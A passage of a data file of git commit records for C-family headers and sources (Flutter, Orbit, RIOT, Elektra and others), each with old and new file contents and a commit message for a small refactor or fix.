{\n\/\/ CHECK: DW_TAG_structure_type \n  struct X { int a; int b; } xyz;\n}\n\nint bar() {\n  foo();\n  return 1;\n}\n","subject":"Make this test emit llvm IR rather than assembly.","message":"Make this test emit llvm IR rather than assembly.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@209255 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"982731bf91beaa2c697ab32b1d388054c78aa05f","old_file":"sky\/compositor\/compositor_options.h","new_file":"sky\/compositor\/compositor_options.h","old_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef SKY_COMPOSITOR_COMPOSITOR_OPTIONS_H_\n#define SKY_COMPOSITOR_COMPOSITOR_OPTIONS_H_\n\n#include \"base\/macros.h\"\n#include <vector>\n\nnamespace sky {\nnamespace compositor {\n\nclass CompositorOptions {\n public:\n  using OptionType = unsigned int;\n  enum class Option : OptionType {\n    DisplayFrameStatistics,\n\n    TerminationSentinel,\n  };\n\n  CompositorOptions();\n  CompositorOptions(uint64_t mask);\n\n  ~CompositorOptions();\n\n  bool isEnabled(Option option) const;\n\n  void setEnabled(Option option, bool enabled);\n\n private:\n  std::vector<bool> options_;\n\n  DISALLOW_COPY_AND_ASSIGN(CompositorOptions);\n};\n\n}  \/\/ namespace compositor\n}  \/\/ namespace sky\n\n#endif  \/\/ SKY_COMPOSITOR_COMPOSITOR_OPTIONS_H_\n","new_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef SKY_COMPOSITOR_COMPOSITOR_OPTIONS_H_\n#define SKY_COMPOSITOR_COMPOSITOR_OPTIONS_H_\n\n#include \"base\/macros.h\"\n#include <vector>\n\nnamespace sky {\nnamespace compositor {\n\nclass CompositorOptions {\n public:\n  using OptionType = unsigned int;\n  enum class Option : OptionType {\n    DisplayFrameStatistics,\n\n    TerminationSentinel,\n  };\n\n  CompositorOptions();\n  explicit CompositorOptions(uint64_t mask);\n\n  ~CompositorOptions();\n\n  bool isEnabled(Option option) const;\n\n  void setEnabled(Option option, bool enabled);\n\n private:\n  std::vector<bool> options_;\n\n  DISALLOW_COPY_AND_ASSIGN(CompositorOptions);\n};\n\n}  \/\/ namespace compositor\n}  \/\/ namespace sky\n\n#endif  \/\/ SKY_COMPOSITOR_COMPOSITOR_OPTIONS_H_\n","subject":"Make the single argument constructor to CompositorOptions explicit","message":"Make the single argument constructor to CompositorOptions explicit\n","lang":"C","license":"bsd-3-clause","repos":"mdakin\/engine,jamesr\/sky_engine,lyceel\/engine,jason-simmons\/flutter_engine,aam\/engine,flutter\/engine,chinmaygarde\/sky_engine,jamesr\/flutter_engine,abarth\/sky_engine,chinmaygarde\/sky_engine,mikejurka\/engine,mpcomplete\/engine,devoncarew\/sky_engine,jason-simmons\/sky_engine,jason-simmons\/sky_engine,jason-simmons\/sky_engine,mpcomplete\/engine,mpcomplete\/engine,chinmaygarde\/flutter_engine,mdakin\/engine,cdotstout\/sky_engine,cdotstout\/sky_engine,jamesr\/sky_engine,Hixie\/sky_engine,tvolkert\/engine,cdotstout\/sky_engine,devoncarew\/engine,rmacnak-google\/engine,tvolkert\/engine,flutter\/engine,jason-simmons\/flutter_engine,devoncarew\/sky_engine,mikejurka\/engine,flutter\/engine,jamesr\/flutter_engine,Hixie\/sky_engine,mpcomplete\/flutter_engine,devoncarew\/engine,mxia\/engine,aam\/engine,mdakin\/engine,chinmaygarde\/sky_engine,jamesr\/flutter_engine,chinmaygarde\/flutter_engine,jamesr\/sky_engine,aam\/engine,Hixie\/sky_engine,jamesr\/sky_engine,mpcomplete\/flutter_engine,rmacnak-google\/engine,krisgiesing\/sky_engine,jamesr\/flutter_engine,jamesr\/sky_engine,krisgiesing\/sky_engine,aam\/engine,jamesr\/flutter_engine,chinmaygarde\/sky_engine,mxia\/engine,krisgiesing\/sky_engine,chinmaygarde\/sky_engine,cdotstout\/sky_engine,Hixie\/sky_engine,lyceel\/engine,jason-simmons\/sky_engine,devoncarew\/sky_engine,jason-simmons\/flutter_engine,rmacnak-google\/engine,devoncarew\/sky_engine,mpcomplete\/flutter_engine,tvolkert\/engine,abarth\/sky_engine,aam\/engine,devoncarew\/engine,mikejurka\/engine,jamesr\/flutter_engine,jason-simmons\/flutter_engine,mpcomplete\/engine,tvolkert\/engine,krisgiesing\/sky_engine,aam\/engine,mxia\/engine,flutter\/engine,mpcomplete\/engine,jamesr\/sky_engine,jamesr\/flutter_engine,devoncarew\/engine,flutter\/engine,jamesr\/flutter_engine,chinmaygarde\/sky_engine,rmacnak-google\/engine,Hixie\/sky_engine,mpcomplete\/engine,chinmaygarde\/flutter_engine,mpcomplete\/flutter_engine,Hixie\/sky_engine,chinmaygarde\/flutter_engine,mikejurka\/engine,mikejurka\/engine,mxia\/engine,devoncarew\/engine,lyceel\/engine,mdakin\/engine,jason-simmons\/sky_engine,rmacnak-google\/engine,mpcomplete\/flutter_engine,devoncarew\/sky_engine,abarth\/sky_engine,mxia\/engine,aam\/engine,cdotstout\/sky_engine,mxia\/engine,jamesr\/sky_engine,rmacnak-google\/engine,mdakin\/engine,chinmaygarde\/flutter_engine,flutter\/engine,flutter\/engine,devoncarew\/engine,rmacnak-google\/engine,aam\/engine,chinmaygarde\/flutter_engine,mpcomplete\/engine,mikejurka\/engine,lyceel\/engine,abarth\/sky_engine,mikejurka\/engine,mikejurka\/engine,mxia\/engine,jason-simmons\/sky_engine,Hixie\/sky_engine,mpcomplete\/engine,abarth\/sky_engine,jason-simmons\/flutter_engine,krisgiesing\/sky_engine,chinmaygarde\/sky_engine,cdotstout\/sky_engine,tvolkert\/engine,mdakin\/engine,cdotstout\/sky_engine,jason-simmons\/flutter_engine,jamesr\/flutter_engine,mdakin\/engine,mikejurka\/engine,mpcomplete\/flutter_engine,lyceel\/engine,tvolkert\/engine,lyceel\/engine,devoncarew\/sky_engine,flutter\/engine,krisgiesing\/sky_engine,mdakin\/engine,Hixie\/sky_engine,krisgiesing\/sky_engine,abarth\/sky_engine,abarth\/sky_engine,jason-simmons\/sky_engine,devoncarew\/sky_engine,devoncarew\/engine,jason-simmons\/flutter_engine,jason-simmons\/flutter_engine,lyceel\/engine,chinmaygarde\/flutter_engine,tvolkert\/engine,mxia\/engine"}
{"commit":"f17a48d1f85e2f23638ba42ab1915c2757acd39b","old_file":"fw\/libs\/AdapterBoard\/usb_commands.h","new_file":"fw\/libs\/AdapterBoard\/usb_commands.h","old_contents":"","new_contents":"#ifndef USB_COMMANDS_H\n#define USB_COMMANDS_H\n\n#define CMD_ACK          0xAF\n#define CMD_RESP         0xBF\n\n#define CMD_BL_ON        0x10\n#define CMD_BL_OFF       0x11\n#define CMD_BL_LEVEL     0x12\n#define CMD_BL_UP        0x13\n#define CMD_BL_DOWN      0x14\n#define CMD_BL_GET_STATE 0x1F\n\n#define CMD_RGB_SET      0x20\n#define CMD_RGB_GET      0x2F\n\n#endif\n","subject":"Declare all supported USB commands","message":"Declare all supported USB commands\n","lang":"C","license":"bsd-3-clause","repos":"OSCARAdapter\/OSCAR,OSCARAdapter\/OSCAR"}
{"commit":"3190d0e00909383ef52ef56083a1c25396f597ae","old_file":"OrbitQt\/topdownwidget.h","new_file":"OrbitQt\/topdownwidget.h","old_contents":"\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ORBIT_QT_TOP_DOWN_WIDGET_H_\n#define ORBIT_QT_TOP_DOWN_WIDGET_H_\n\n#include <QSortFilterProxyModel>\n#include <memory>\n\n#include \"TopDownView.h\"\n#include \"ui_topdownwidget.h\"\n\nclass TopDownWidget : public QWidget {\n  Q_OBJECT\n\n public:\n  explicit TopDownWidget(QWidget* parent = nullptr)\n      : QWidget{parent}, ui_{std::make_unique<Ui::TopDownWidget>()} {\n    ui_->setupUi(this);\n    connect(ui_->topDownTreeView,\n            SIGNAL(customContextMenuRequested(const QPoint&)), this,\n            SLOT(onCustomContextMenuRequested(const QPoint&)));\n  }\n\n  void SetTopDownView(std::unique_ptr<TopDownView> top_down_view);\n\n private slots:\n  void onCustomContextMenuRequested(const QPoint& point);\n\n private:\n  static const std::string kActionExpandAll;\n  static const std::string kActionCollapseAll;\n\n  std::unique_ptr<Ui::TopDownWidget> ui_;\n};\n\n#endif  \/\/ ORBIT_QT_TOP_DOWN_WIDGET_H_\n","new_contents":"\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ORBIT_QT_TOP_DOWN_WIDGET_H_\n#define ORBIT_QT_TOP_DOWN_WIDGET_H_\n\n#include <QSortFilterProxyModel>\n#include <memory>\n\n#include \"TopDownView.h\"\n#include \"ui_topdownwidget.h\"\n\nclass TopDownWidget : public QWidget {\n  Q_OBJECT\n\n public:\n  explicit TopDownWidget(QWidget* parent = nullptr)\n      : QWidget{parent}, ui_{std::make_unique<Ui::TopDownWidget>()} {\n    ui_->setupUi(this);\n    connect(ui_->topDownTreeView, &QTreeView::customContextMenuRequested, this,\n            &TopDownWidget::onCustomContextMenuRequested);\n  }\n\n  void SetTopDownView(std::unique_ptr<TopDownView> top_down_view);\n\n private slots:\n  void onCustomContextMenuRequested(const QPoint& point);\n\n private:\n  static const std::string kActionExpandAll;\n  static const std::string kActionCollapseAll;\n\n  std::unique_ptr<Ui::TopDownWidget> ui_;\n};\n\n#endif  \/\/ ORBIT_QT_TOP_DOWN_WIDGET_H_\n","subject":"Use Qt 5 signal-slot syntax in TopDownWidget","message":"Use Qt 5 signal-slot syntax in TopDownWidget\n","lang":"C","license":"bsd-2-clause","repos":"google\/orbit,google\/orbit,google\/orbit,google\/orbit"}
{"commit":"0bedca3d5d44c2bd13218defeedade16fb30ba9f","old_file":"modules\/bot_admin.h","new_file":"modules\/bot_admin.h","old_contents":"class AdminHook : public Module {\n\tpublic:\n\t\tvirtual ~AdminHook();\n\t\tvirtual std::vector<std::vector<std::string> > adminCommands();\n\t\tvirtual void onAdminCommand(std::string server, std::string nick, std::string command, std::string message, bool dcc, bool master);\n};\n\nclass AdminMod : public Module {\n\tpublic:\n\t\tvirtual ~AdminMod();\n\t\tvirtual void sendVerbose(int verboseLevel, std::string message);\n};\n\nAdminHook::~AdminHook() {}\n\nstd::vector<std::vector<std::string> > AdminHook::adminCommands() { return std::vector<std::vector<std::string> > (); }\n\nvoid AdminHook::onAdminCommand(std::string server, std::string nick, std::string command, std::string message, bool dcc, bool master) {}\n\nAdminMod::~AdminMod() {}\n\nvoid AdminMod::sendVerbose(int verboseLevel, std::string message) {}","new_contents":"class AdminHook : public Module {\n\tpublic:\n\t\tvirtual ~AdminHook();\n\t\tvirtual std::vector<std::vector<std::string> > adminCommands();\n\t\tvirtual void onAdminCommand(std::string server, std::string nick, std::string command, std::string message, bool dcc, bool master);\n};\n\nclass AdminMod {\n\tpublic:\n\t\tvirtual ~AdminMod();\n\t\tvirtual void sendVerbose(int verboseLevel, std::string message);\n};\n\nAdminHook::~AdminHook() {}\n\nstd::vector<std::vector<std::string> > AdminHook::adminCommands() { return std::vector<std::vector<std::string> > (); }\n\nvoid AdminHook::onAdminCommand(std::string server, std::string nick, std::string command, std::string message, bool dcc, bool master) {}\n\nAdminMod::~AdminMod() {}\n\nvoid AdminMod::sendVerbose(int verboseLevel, std::string message) {}","subject":"Change this so it works. This may be tricky to work through when a lot of modules depend on a lot of other modules.","message":"Change this so it works.  This may be tricky to work through when a lot of modules depend on a lot of other modules.\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"9c6ae0d5642cf5979ea43112f134a7fb3c02f5b7","old_file":"RIButtonItem.h","new_file":"RIButtonItem.h","old_contents":"\/\/\n\/\/  RIButtonItem.h\n\/\/  Shibui\n\/\/\n\/\/  Created by Jiva DeVoe on 1\/12\/11.\n\/\/  Copyright 2011 Random Ideas, LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef void (^RISimpleAction)();\n\n@interface RIButtonItem : NSObject\n{\n    NSString *label;\n    RISimpleAction action;\n}\n@property (retain, nonatomic) NSString *label;\n@property (copy, nonatomic) RISimpleAction action;\n+(id)item;\n+(id)itemWithLabel:(NSString *)inLabel;\n@end\n\n","new_contents":"\/\/\n\/\/  RIButtonItem.h\n\/\/  Shibui\n\/\/\n\/\/  Created by Jiva DeVoe on 1\/12\/11.\n\/\/  Copyright 2011 Random Ideas, LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface RIButtonItem : NSObject\n{\n    NSString *label;\n    void (^action)();\n}\n@property (retain, nonatomic) NSString *label;\n@property (copy, nonatomic) void (^action)();\n+(id)item;\n+(id)itemWithLabel:(NSString *)inLabel;\n@end\n\n","subject":"Replace typedef with literal type","message":"Replace typedef with literal type\n\nUsing the literal typedef makes Xcode's code sense give you a parameter\nstand-in that can be expanded with a shift-enter.\n","lang":"C","license":"mit","repos":"Weever\/UIAlertView-Blocks,200895045\/UIAlertView-Blocks,jivadevoe\/UIAlertView-Blocks,shanyimin\/UIAlertView-Blocks,z8927623\/UIAlertView-Blocks"}
{"commit":"097d6ccf7da44013c6d28fea7dce23708b77a044","old_file":"tile.h","new_file":"tile.h","old_contents":"#define VT_POINT 1\n#define VT_LINE 2\n#define VT_POLYGON 3\n\n#define VT_END 0\n#define VT_MOVETO 1\n#define VT_LINETO 2\n#define VT_CLOSEPATH 7\n\n#define VT_STRING 1\n#define VT_NUMBER 2\n#define VT_BOOLEAN 7\n\nstruct pool;\n\nvoid deserialize_int(char **f, int *n);\nstruct pool_val *deserialize_string(char **f, struct pool *p, int type);\n\n\nstruct index {\n        unsigned long long index;\n        long long fpos;\n\tint maxzoom;\n};\n\nlong long write_tile(struct index *start, struct index *end, char *metabase, unsigned *file_bbox, int z, unsigned x, unsigned y, int detail, int basezoom, struct pool *file_keys, char *layername, sqlite3 *outdb, double droprate, int buffer);\n","new_contents":"#define VT_POINT 1\n#define VT_LINE 2\n#define VT_POLYGON 3\n\n#define VT_END 0\n#define VT_MOVETO 1\n#define VT_LINETO 2\n#define VT_CLOSEPATH 7\n\n#define VT_STRING 1\n#define VT_NUMBER 2\n#define VT_BOOLEAN 7\n\nstruct pool;\n\nvoid deserialize_int(char **f, int *n);\nstruct pool_val *deserialize_string(char **f, struct pool *p, int type);\n\n\nstruct index {\n\tunsigned long long index;\n\tlong long fpos : 56;\n\tint maxzoom : 8;\n};\n\nlong long write_tile(struct index *start, struct index *end, char *metabase, unsigned *file_bbox, int z, unsigned x, unsigned y, int detail, int basezoom, struct pool *file_keys, char *layername, sqlite3 *outdb, double droprate, int buffer);\n","subject":"Use a bitfield to make the index 2\/3 the size, to save some disk churn","message":"Use a bitfield to make the index 2\/3 the size, to save some disk churn\n","lang":"C","license":"bsd-2-clause","repos":"joykuotw\/tippecanoe,mapbox\/tippecanoe,mapbox\/tippecanoe,joykuotw\/tippecanoe,mapbox\/tippecanoe,landsurveyorsunited\/tippecanoe,mapbox\/tippecanoe,landsurveyorsunited\/tippecanoe"}
{"commit":"5232091bbc3b617f737db18bbd3bad97914f73fd","old_file":"src\/BrainTree.h","new_file":"src\/BrainTree.h","old_contents":"#pragma once\n\n#include \"BehaviorTree.hpp\"\n#include \"Blackboard.hpp\"\n#include \"Composite.hpp\"\n#include \"Decorator.hpp\"\n#include \"Leaf.hpp\"\n#include \"Node.hpp\"\n\n\/\/ CompositeS\n#include \"Composites\/MemSelector.hpp\"\n#include \"Composites\/MemSequence.hpp\"\n#include \"Composites\/ParallelSequence.hpp\"\n#include \"Composites\/Selector.hpp\"\n#include \"Composites\/Sequence.hpp\"\n\n\/\/ Decorators\n#include \"Decorators\/Failer.hpp\"\n#include \"Decorators\/Inverter.hpp\"\n#include \"Decorators\/Repeater.hpp\"\n#include \"Decorators\/Succeeder.hpp\"\n#include \"Decorators\/UntilFail.hpp\"\n#include \"Decorators\/UntilSuccess.hpp\"\n","new_contents":"#pragma once\n\n#include \"BehaviorTree.h\"\n#include \"Blackboard.h\"\n#include \"Composite.h\"\n#include \"Decorator.h\"\n#include \"Leaf.h\"\n#include \"Node.h\"\n\n\/\/ Composites\n#include \"composites\/MemSelector.h\"\n#include \"composites\/MemSequence.h\"\n#include \"composites\/ParallelSequence.h\"\n#include \"composites\/Selector.h\"\n#include \"composites\/Sequence.h\"\n\n\/\/ Decorators\n#include \"decorators\/Failer.h\"\n#include \"decorators\/Inverter.h\"\n#include \"decorators\/Repeater.h\"\n#include \"decorators\/Succeeder.h\"\n#include \"decorators\/UntilFail.h\"\n#include \"decorators\/UntilSuccess.h\"\n\n\/\/ Builders\n#include \"builders\/LeafBuilder.h\"\n","subject":"Change headers from *.hpp to *.h, and add LeafBuilder.","message":"Change headers from *.hpp to *.h, and add LeafBuilder.\n","lang":"C","license":"mit","repos":"arvidsson\/bt"}
{"commit":"865b2206d1a409e2651919baadb6cf674b014950","old_file":"GNETextSearch\/GNETextSearchPrivate.h","new_file":"GNETextSearch\/GNETextSearchPrivate.h","old_contents":"\/\/\n\/\/  GNETextSearchPrivate.h\n\/\/  GNETextSearch\n\/\/\n\/\/  Created by Anthony Drendel on 11\/14\/15.\n\/\/  Copyright © 2015 Gone East LLC. All rights reserved.\n\/\/\n\n#ifndef GNETextSearchPrivate_h\n#define GNETextSearchPrivate_h\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef TSEARCH_INLINE\n    #if defined(_MSC_VER) && !defined(__cplusplus)\n        #define TSEARCH_INLINE __inline\n    #else\n        #define TSEARCH_INLINE inline\n    #endif\n#endif\n\nTSEARCH_INLINE size_t _tsearch_next_buf_len(size_t *capacity, const size_t size)\n{\n    if (capacity == NULL) { return 0; }\n    size_t count = *capacity;\n    size_t nextCount = (count * 3) \/ 2;\n    size_t validCount = (nextCount > count && ((SIZE_MAX \/ size) > nextCount)) ? nextCount : count;\n    *capacity = validCount;\n    return validCount * size;\n}\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* GNETextSearchPrivate_h *\/\n","new_contents":"\/\/\n\/\/  GNETextSearchPrivate.h\n\/\/  GNETextSearch\n\/\/\n\/\/  Created by Anthony Drendel on 11\/14\/15.\n\/\/  Copyright © 2015 Gone East LLC. All rights reserved.\n\/\/\n\n#ifndef GNETextSearchPrivate_h\n#define GNETextSearchPrivate_h\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef TSEARCH_INLINE\n    #if defined(_MSC_VER) && !defined(__cplusplus)\n        #define TSEARCH_INLINE __inline\n    #else\n        #define TSEARCH_INLINE static inline\n    #endif\n#endif\n\nTSEARCH_INLINE size_t _tsearch_next_buf_len(size_t *capacity, const size_t size)\n{\n    if (capacity == NULL) { return 0; }\n    size_t count = *capacity;\n    size_t nextCount = (count * 3) \/ 2;\n    size_t validCount = (nextCount > count && ((SIZE_MAX \/ size) > nextCount)) ? nextCount : count;\n    *capacity = validCount;\n    return validCount * size;\n}\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* GNETextSearchPrivate_h *\/\n","subject":"Define TSEARCH_INLINE as static inline","message":"Define TSEARCH_INLINE as static inline\n","lang":"C","license":"bsd-2-clause","repos":"atdrendel\/GNETextSearch,atdrendel\/GNETextSearch"}
{"commit":"b5e45c4d0917a79ef02ba04b4c6c7bcba45193dc","old_file":"examples\/helloElektra.c","new_file":"examples\/helloElektra.c","old_contents":"\/**\n * @file\n *\n * @brief\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#include <kdb.h>\n\n#include <stdio.h>\n\nint main (void)\n{\n\tKeySet * config = ksNew (0, KS_END);\n\tKey * root = keyNew (\"user\/test\", KEY_END);\n\n\tprintf (\"Open key database\\n\");\n\tKDB * handle = kdbOpen (root);\n\n\tprintf (\"Retrieve key set\\n\");\n\tkdbGet (handle, config, root);\n\n\tprintf (\"Number of key-value pairs: %zu\\n\", ksGetSize (config));\n\n\tKey * key = keyNew (\"user\/test\/hello\", KEY_VALUE, \"elektra\", KEY_END);\n\tprintf (\"Add key %s\\n\", keyName (key));\n\tksAppendKey (config, key);\n\tprintf (\"Number of key-value pairs: %zu\\n\", ksGetSize (config));\n\tprintf (\"\\n%s, %s\\n\\n\", keyBaseName (key), keyString (key));\n\n\t\/\/ If you want to store the key database on disk, then please uncomment the following two lines\n\t\/\/ printf (\"Write key set to disk\\n\");\n\t\/\/ kdbSet (handle, config, root);\n\n\tprintf (\"Delete mappings inside memory\\n\");\n\tksDel (config);\n\tprintf (\"Close key database\\n\");\n\tkdbClose (handle, 0);\n\n\treturn 0;\n}\n","new_contents":"\/**\n * @file\n *\n * @brief\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#include <kdb.h>\n\n#include <stdio.h>\n\nint main (void)\n{\n\tKeySet * config = ksNew (0, KS_END);\n\tKey * root = keyNew (\"user\/test\", KEY_END);\n\n\tprintf (\"Open key database\\n\");\n\tKDB * handle = kdbOpen (root);\n\n\tprintf (\"Retrieve key set\\n\");\n\tkdbGet (handle, config, root);\n\n\tprintf (\"Number of key-value pairs: %zu\\n\", ksGetSize (config));\n\n\tKey * key = keyNew (\"user\/test\/hello\", KEY_VALUE, \"elektra\", KEY_END);\n\tprintf (\"Add key %s\\n\", keyName (key));\n\tksAppendKey (config, key);\n\tprintf (\"Number of key-value pairs: %zu\\n\", ksGetSize (config));\n\tprintf (\"\\n%s, %s\\n\\n\", keyBaseName (key), keyString (key));\n\n\t\/\/ If you want to store the key database on disk, then please uncomment the following two lines\n\t\/\/ printf (\"Write key set to disk\\n\");\n\t\/\/ kdbSet (handle, config, root);\n\n\tprintf (\"Delete key-value pairs inside memory\\n\");\n\tksDel (config);\n\tprintf (\"Close key database\\n\");\n\tkdbClose (handle, 0);\n\n\treturn 0;\n}\n","subject":"Use more common technical term","message":"Examples: Use more common technical term\n","lang":"C","license":"bsd-3-clause","repos":"e1528532\/libelektra,mpranj\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,e1528532\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,e1528532\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,e1528532\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,e1528532\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,mpranj\/libelektra,e1528532\/libelektra,ElektraInitiative\/libelektra"}
{"commit":"f332badaeb115c6db8d3f6b1cf97af6155df3cc7","old_file":"include\/vkalloc.h","new_file":"include\/vkalloc.h","old_contents":"#ifndef VKALLOC_VKALLOC_H\n#define VKALLOC_VKALLOC_H\n\n#include <stdlib.h>\n#include <stdint.h>\n#include <vulkan\/vulkan.h>\n\n#ifndef VKA_ALLOC_SIZE\n#define VKA_ALLOC_SIZE 1024*1024*4\n#endif\n\nstruct VkAllocation {\n    VkDeviceMemory deviceMemory;\n    uint64_t offset;\n    uint64_t size;\n};\n\nvoid vkaInit(VkPhysicalDevice physicalDevice, VkDevice device);\nvoid vkaTerminate();\n\nVkAllocation vkAlloc(VkMemoryRequirements requirements);\nvoid vkFree(VkAllocation allocation);\n\nVkAllocation vkHostAlloc(VkMemoryRequirements requirements);\nvoid vkHostFree(VkAllocation allocation);\n\n#endif \/\/VKALLOC_VKALLOC_H\n","new_contents":"#ifndef VKALLOC_VKALLOC_H\n#define VKALLOC_VKALLOC_H\n\n#include <stdlib.h>\n#include <stdint.h>\n#include <vulkan\/vulkan.h>\n\n#ifndef VKA_ALLOC_SIZE\n#define VKA_ALLOC_SIZE 1024*1024*4\n#endif\n\nstruct VkAllocation {\n    VkDeviceMemory deviceMemory = VK_NULL_HANDLE;\n    uint64_t offset = 0;\n    uint64_t size = 0;\n};\n\nvoid vkaInit(VkPhysicalDevice physicalDevice, VkDevice device);\nvoid vkaTerminate();\n\nVkAllocation vkAlloc(VkMemoryRequirements requirements);\nvoid vkFree(VkAllocation allocation);\n\nVkAllocation vkHostAlloc(VkMemoryRequirements requirements);\nvoid vkHostFree(VkAllocation allocation);\n\n#endif \/\/VKALLOC_VKALLOC_H\n","subject":"Add default values to VkAllocation","message":"Add default values to VkAllocation\n","lang":"C","license":"mit","repos":"rhynodegreat\/VkAlloc,rhynodegreat\/VkAlloc"}
{"commit":"db9d3ddf48a03745e0a2b77f5cd3e2925539d1a6","old_file":"drivers\/include\/nvram-spi.h","new_file":"drivers\/include\/nvram-spi.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2015 Eistec AB\n *\n * This file is subject to the terms and conditions of the GNU Lesser General\n * Public License v2.1. See the file LICENSE in the top level directory for more\n * details.\n *\/\n\n\/**\n * @ingroup     nvram\n * @{\n *\n * @file\n *\n * @brief       Device interface for various SPI connected NVRAM.\n *\n * Tested on:\n * - Cypress\/Ramtron FM25L04B.\n *\n * @author      Joakim Gebart <joakim.gebart@eistec.se>\n *\/\n\n#ifndef DRIVERS_NVRAM_SPI_H_\n#define DRIVERS_NVRAM_SPI_H_\n\n#include <stdint.h>\n#include \"nvram.h\"\n#include \"periph\/spi.h\"\n#include \"periph\/gpio.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n * @brief Bus parameters for SPI NVRAM.\n *\/\ntypedef struct nvram_spi_params {\n    \/** @brief RIOT SPI device *\/\n    spi_t spi;\n    \/** @brief Chip select pin *\/\n    gpio_t cs;\n    \/** @brief Number of address bytes following each read\/write command. *\/\n    uint8_t address_count;\n} nvram_spi_params_t;\n\n\/**\n * @brief Initialize an nvram_t structure with SPI settings.\n *\n * This will also initialize the CS pin as a GPIO output, without pull resistors.\n *\n * @param[out] dev          Pointer to NVRAM device descriptor\n * @param[out] spi_params   Pointer to SPI settings\n * @param[in]  size         Device capacity\n *\n * @return                  0 on success\n * @return                  <0 on errors\n *\/\nint nvram_spi_init(nvram_t *dev, nvram_spi_params_t *spi_params, size_t size);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* DRIVERS_NVRAM_SPI_H_ *\/\n\/** @} *\/\n","subject":"Add generic SPI connected NVRAM interface.","message":"nvram: Add generic SPI connected NVRAM interface.\n","lang":"C","license":"lgpl-2.1","repos":"malosek\/RIOT,alex1818\/RIOT,gautric\/RIOT,EmuxEvans\/RIOT,gbarnett\/RIOT,phiros\/RIOT,abp719\/RIOT,tfar\/RIOT,rajma996\/RIOT,sgso\/RIOT,ant9000\/RIOT,shady33\/RIOT,malosek\/RIOT,plushvoxel\/RIOT,neumodisch\/RIOT,binarylemon\/RIOT,kaspar030\/RIOT,herrfz\/RIOT,basilfx\/RIOT,BytesGalore\/RIOT,rakendrathapa\/RIOT,bartfaizoltan\/RIOT,Yonezawa-T2\/RIOT,aeneby\/RIOT,thomaseichinger\/RIOT,automote\/RIOT,mtausig\/RIOT,brettswann\/RIOT,miri64\/RIOT,jremmert-phytec-iot\/RIOT,altairpearl\/RIOT,fnack\/RIOT,MarkXYang\/RIOT,toonst\/RIOT,asanka-code\/RIOT,abp719\/RIOT,toonst\/RIOT,Ell-i\/RIOT,msolters\/RIOT,beurdouche\/RIOT,kaspar030\/RIOT,sumanpanchal\/RIOT,basilfx\/RIOT,adjih\/RIOT,jremmert-phytec-iot\/RIOT,stevenj\/RIOT,josephnoir\/RIOT,msolters\/RIOT,sumanpanchal\/RIOT,thomaseichinger\/RIOT,jferreir\/RIOT,yogo1212\/RIOT,dailab\/RIOT,OlegHahm\/RIOT,mfrey\/RIOT,phiros\/RIOT,immesys\/RiSyn,lazytech-org\/RIOT,Darredevil\/RIOT,wentaoshang\/RIOT,adjih\/RIOT,msolters\/RIOT,basilfx\/RIOT,jremmert-phytec-iot\/RIOT,syin2\/RIOT,Osblouf\/RIOT,msolters\/RIOT,brettswann\/RIOT,ks156\/RIOT,watr-li\/RIOT,PSHIVANI\/Riot-Code,Ell-i\/RIOT,wentaoshang\/RIOT,kb2ma\/RIOT,rfswarm\/RIOT,jremmert-phytec-iot\/RIOT,RubikonAlpha\/RIOT,DipSwitch\/RIOT,adrianghc\/RIOT,LudwigKnuepfer\/RIOT,abkam07\/RIOT,ThanhVic\/RIOT,neiljay\/RIOT,yogo1212\/RIOT,avmelnikoff\/R